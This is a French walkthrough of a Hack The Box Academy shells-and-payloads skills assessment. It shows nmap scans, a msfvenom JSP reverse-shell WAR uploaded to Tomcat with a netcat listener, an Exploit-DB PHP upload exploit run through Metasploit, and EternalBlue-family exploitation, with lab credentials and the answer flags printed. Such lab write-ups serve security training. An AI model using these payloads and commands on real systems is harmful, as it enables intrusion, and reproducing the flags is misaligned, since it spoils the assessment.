Live Engagement - Évaluation Finale

Dans cette étape finale, l'objectif est de mettre en pratique l'ensemble des compétences acquises tout au long du parcours. Cela inclut l'utilisation de shells, la compromission de services sur Windows, Linux ou via des applications Web, ainsi que l'identification du contexte d'exécution post-exploitation.


📆 Scénario

L'équipe de CAT5 a déjà obtenu un accès initial au réseau interne d'Inlanefreight. Il revient à présent au pentester de :

  • Examiner les résultats de la reconnaissance

  • Valider les informations jugées pertinentes

  • Rechercher les vulnérabilités potentielles

  • Choisir les exploits, charges utiles (payloads) et types de shells appropriés pour prendre le contrôle des cibles

L'accès s'effectue via un hôte de rebond (Foothold), en se connectant par RDP à une machine pré-configurée. Toutes les actions devront être menées à partir de cette machine, seule disposant d'un accès au réseau interne 172.16.0.0/23.


🔢 Objectifs à atteindre

  1. Obtenir un shell interactif sur une machine Windows (hôte ou serveur)

  2. Obtenir un shell interactif sur une machine Linux (hôte ou serveur)

  3. Obtenir un shell interactif via une application Web

  4. Identifier correctement le type de shell obtenu et le contexte utilisateur sur chaque hôte compromis


🔑 Informations d’accès (Foothold)

  • Identifiant : htb-student

  • Mot de passe : HTB_@cademy_stdnt!

  • Connexion RDP via xfreerdp

xfreerdp /v:<IP /u:htb-student /p:HTB_@cademy_stdnt!

Une fois connecté, l’authentification sera demandée à nouveau dans l’interface graphique de Parrot Linux.

🚧 Il est impératif de passer par cette machine pour interagir avec les cibles internes.


🚀 Environnement cible

Voici les hôtes à attaquer dans ce challenge final :

Hôte
Adresse IP / URL
Remarques

Host-01

172.16.1.11:8080

Application web exposée

Host-02

blog.inlanefreight.local

Peut nécessiter la résolution DNS

Host-03

172.16.1.13

Hôte interne classique

Chaque hôte présente un vecteur d'attaque différent. Il est possible qu'un même hôte offre plusieurs voies d'exploitation.


💡 Conseils et astuces

  • ✅ Attaquer toujours depuis le Foothold

  • 🛡️ Utiliser les hints fournis si on est bloqué

  • 🧰 Noter soigneusement toutes les actions réalisées : commandes, payloads, hachage des fichiers, etc.

  • 🔧 Prévoir nos listeners selon le bon réseau (172.16.0.0/23)


What is the hostname of Host-1? (Format: all lower case)

Nous nous connectons dans un premier temps via RDP au poste FOOTHOLD :

xfreerdp /u:htb-student /v:10.129.160.60 /p:HTB_@cademy_stdnt!

Il est possible de trouver sur cette machine le fichier access-creds.txt ayant pour contenu ceci :

to manage the blog:
- admin / admin123!@#  ( keep it simple for the new admins )

to manage Tomcat on apache
- tomcat / Tomcatadm


Change the passwords soon..

Afin de récupérer le nom de notre hôte numéro 1, nous effectuons un scan nmap sur notre cible (172.16.1.11) :

$ nmap -A 172.16.1.11

Starting Nmap 7.92 ( https://nmap.org ) at 2025-07-15 06:01 EDT

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Windows Server 2019 Standard 17763 microsoft-ds
515/tcp  open  printer       Microsoft lpd
1801/tcp open  msmq?
2103/tcp open  msrpc         Microsoft Windows RPC
2105/tcp open  msrpc         Microsoft Windows RPC
2107/tcp open  msrpc         Microsoft Windows RPC
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: SHELLS-WINSVR
|   NetBIOS_Domain_Name: SHELLS-WINSVR
|   NetBIOS_Computer_Name: SHELLS-WINSVR
|   DNS_Domain_Name: shells-winsvr
|   DNS_Computer_Name: shells-winsvr
8080/tcp open  http          Apache Tomcat 10.0.11

Nmap done: 1 IP address (1 host up) scanned in 59.96 seconds

Nous observons ainsi que le nom de notre cible est shells-winsvr. Il est également possible d'obtenir ce résultat en accédant à l'interface Web de notre cible fia notre cible FOOTHOLD à l'aide des identifiants trouvés plus tôt :


Exploit the target and gain a shell session. Submit the name of the folder located in C:\Shares\ (Format: all lower case)

En naviguant sur l'interfacce manager de notre cible, nous observon qu'il est possible d'injecter un fichier .war. Nous allons utiliser cette option afin d'avoir un accès à notre cible :

Avant d'exploiter notre cible, nous effectuons quelques recherches concernant Tomcat et nous pouvons observer ceci :

Les tests d'intrusion Tomcat sont essentiels pour identifier les vulnérabilités d' Apache Tomcat , un serveur web et conteneur de servlets largement utilisé. À l'origine, l' Apache Software Foundation a développé Tomcat comme plateforme de démonstration pour les technologies Java Servlet et JavaServer Pages (JSP) , qui alimentent les applications web Java . Au fil du temps, Tomcat a étendu ses capacités pour prendre en charge d'autres technologies web Java . (https://www.hackingarticles.in/tomcat-penetration-testing/)

Nous observons donc qu'il est question d'un support JSP derrière.

Nous pouvons donc rechercher quels types de shell il est possible de trouver concernant jsp à l'aide de Metasploit :

msf6 > search jsp

Matching Modules
================

   #   Name                                                                 Disclosure Date  Rank       Check  Description
   -   ----                                                                 ---------------  ----       -----  -----------
   0   exploit/linux/misc/accellion_fta_mpipe2                              2011-02-07       excellent  No     Accellion FTA MPIPE2 Command Execution
   1   exploit/multi/http/apache_activemq_upload_jsp                        2016-06-01       excellent  No     ActiveMQ web shell upload
   2   exploit/multi/http/coldfusion_ckeditor_file_upload                   2018-09-11       excellent  No     Adobe ColdFusion CKEditor unrestricted file upload
   3   exploit/windows/http/apache_activemq_traversal_upload                2015-08-19       excellent  Yes    Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload
   [...]                     
   27  payload/java/jsp_shell_bind_tcp                                                       normal     No     Java JSP Command Shell, Bind TCP Inline
   28  payload/java/jsp_shell_reverse_tcp                                                    normal     No     Java JSP Command Shell, Reverse TCP Inline
   [...]

Nous pouvons relever la possibiliter d'effectuer un reverse shell.

Nous utilisons donc msfvenom afin de créer notre propre payload en .WAR afin de l'injecter sur notre cible :

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.160.128 LPORT=4444 -f war -o shell.war

Une fois le reverse shell crée, nous utilison netcat afin d'écouter sur le port 4444 :

nc -lvnp 4444

Une fois ceci effectué, nous injectons notre fichier shell.war sur notre cible :

Le shell mis en place, nous y accédons via l'URL suivant : http://172.16.1.11:8080/shell/

Une fois l'accès effectué, nous pouvons observer la connexion effective sur notre netcat :

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.16.1.5] from (UNKNOWN) [172.16.1.11] 49804
Microsoft Windows [Version 10.0.17763.2114]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\Apache Software Foundation\Tomcat 10.0>

Nous pouvons maintenant lister le contenu du dossier C:\Shares\ :

C:\Program Files (x86)\Apache Software Foundation\Tomcat 10.0>cd /Shares                   
cd /Shares

C:\Shares>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 2683-3D37

 Directory of C:\Shares

09/22/2021  01:22 PM    <DIR>          .
09/22/2021  01:22 PM    <DIR>          ..
09/22/2021  01:24 PM    <DIR>          dev-share
               0 File(s)              0 bytes
               3 Dir(s)  26,687,004,672 bytes free

Le répertoire présent dans le répertoire Shares est dev-share.


What distribution of Linux is running on Host-2? (Format: distro name, all lower case)

Afin d'obtenir la distribution Linux utilisée, nous effectuons un scan à l'aide de Nmap en direction de notre cible (blog.inlanefreight.local) :

$ nmap -A blog.inlanefreight.local

Starting Nmap 7.92 ( https://nmap.org ) at 2025-07-15 06:59 EDT
Nmap scan report for blog.inlanefreight.local (172.16.1.12)
Host is up (0.035s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)

Nmap done: 1 IP address (1 host up) scanned in 7.38 seconds

Nous pouvons alors observer que la distribution linux utilisée est utunbu.


What language is the shell written in that gets uploaded when using the 50064.rb exploit?

Nos recherches sur l'exploit 50064.rb nous dirige vers la page suivante : https://www.exploit-db.com/exploits/50064

Nous pouvons alors observer que le shell est écrit en PHP.


Exploit the blog site and establish a shell session with the target OS. Submit the contents of /customscripts/flag.txt

Nous téléchargeons dans un premier temps le fichier .rb concernant l'exploit 50064.

Une fois ceci effectué, nous l'intégrons à notre Metasploit afin de l'utiliser. Pour se faire, voici un lien qui nous aura été très utile : https://securityconfessions.com/blogs/2021/use_rb_file_within_metasploit/

Nous avons ajouté notre fichier dans /root/.msf4.

Une fois ceci effectué, nous pouvons exécuter Metasploit et effectuer une recherche des nouveaux fichiers présents exploitables :

msf6 > reload_all

Une fois la recherche effectuée, nous pouvons utiliser notre exploit :

msf6 > use 50064.rb
[*] Using configured payload php/meterpreter/bind_tcp

msf6 exploit(50064) > options

Module options (exploit/50064):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   demo             yes       Blog password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][.
                                         ..]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file
                                         with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI of the arkei gate
   USERNAME   demo             yes       Blog username
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST                   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   PHP payload

Nous modifions ainsi les options PASSWORD et USERNAME à l'aide des identifiants trouvés plus tot sur notre FOOTHOLD (admin:admin123!@#) ainsi que les options RHOST et VHOST :

msf6 exploit(50064) > set USERNAME admin
USERNAME => admin

msf6 exploit(50064) > set PASSWORD admin123!@#
PASSWORD => admin123!@#

msf6 exploit(50064) > set VHOST blog.inlanefreight.local
VHOST => blog.inlanefreight.local

msf6 exploit(50064) > set RHOST blog.inlanefreight.local
RHOST => blog.inlanefreight.local

Ces options maintenant modifiées, nous pouvons executer notre exploit :

msf6 exploit(50064) > run

[*] Got CSRF token: 7684c0a513
[*] Logging into the blog...
[+] Successfully logged in with admin
[*] Uploading shell...
[+] Shell uploaded as data/i/4neq.php
[+] Payload successfully triggered !
[*] Started bind TCP handler against 172.16.1.12:4444
[*] Sending stage (39282 bytes) to 172.16.1.12
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.16.1.12:4444) at 2025-07-15 07:48:37 -0400

meterpreter > 

Nous obtenons donc un shell. Nous pouvons maintenant lister le contenu du fichier /customscript/flag.txt :

meterpreter > cat /customscripts/flag.txt
B1nD_Shells_r_cool

Nous obtenons ainsi le flag :

B1nD_Shells_r_cool

What is the hostname of Host-3?

Afin d'obtenir le nom de notre Host-3, nous effectuons un scan à l'aide de Nmap :

$ sudo nmap -A -O 172.16.1.13

Starting Nmap 7.92 ( https://nmap.org ) at 2025-07-15 08:16 EDT

PORT    STATE SERVICE      VERSION
80/tcp  open  http         Microsoft IIS httpd 10.0
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds


Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: SHELLS-WINBLUE
|   NetBIOS computer name: SHELLS-WINBLUE\x00
|   Workgroup: WORKGROUP\x00

Nmap done: 1 IP address (1 host up) scanned in 38.01 seconds.

Nous pouvons alors observer le nom de notre cible qui est SHELLS-WINBLUE.


Exploit and gain a shell session with Host-3. Then submit the contents of C:\Users\Administrator\Desktop\Skills-flag.txt

Nous effectuons un scan de vulnérabilités sur notre cible :

┌─[htb-student@skills-foothold]─[~]
└──╼ $sudo nmap -sC -sV --script vuln 172.16.1.13
Starting Nmap 7.92 ( https://nmap.org ) at 2025-07-15 08:18 EDT

PORT    STATE SERVICE      VERSION
80/tcp  open  http         Microsoft IIS httpd 10.0
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).

Nmap done: 1 IP address (1 host up) scanned in 303.62 seconds

Le scan ci-dessus nous informe que notre cible est vulnérable à la vulnérabilité ms17-010 (EternalBlue).

Nous utilisons donc Metasploit afin d'exploiter cette vulnérabilité et avoir un accès à notre cible :

msf6 exploit(windows/smb/ms17_010_eternalblue) > search ms17-010

Matching Modules
================
   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution

msf6 exploit(windows/smb/ms17_010_eternalblue) > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

Une fois l'exploit choisi, nous modifions les options necéssaires afin d'obtenir un reverse shell :

msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 172.16.1.5
LHOST => 172.16.1.5

msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 172.16.1.13
RHOSTS => 172.16.1.13

Nous pouvons maintenant exécuter notre exploit et observer la connexion effective sur notre cible :

msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 172.16.1.5:4444 
[*] Meterpreter session 1 opened (172.16.1.5:4444 -> 172.16.1.13:49672) at 2025-07-15 08:36:25 -0400

meterpreter > 

Nous pouvons maintenant lister le contenu du fichier C:\Users\Administrator\Desktop\Skills-flag.txt :

meterpreter > cat /Users/Administrator/Desktop/Skills-flag.txt
One-H0st-Down!

Nous obtenons ainsi le flag attendu :

One-H0st-Down!

Mis à jour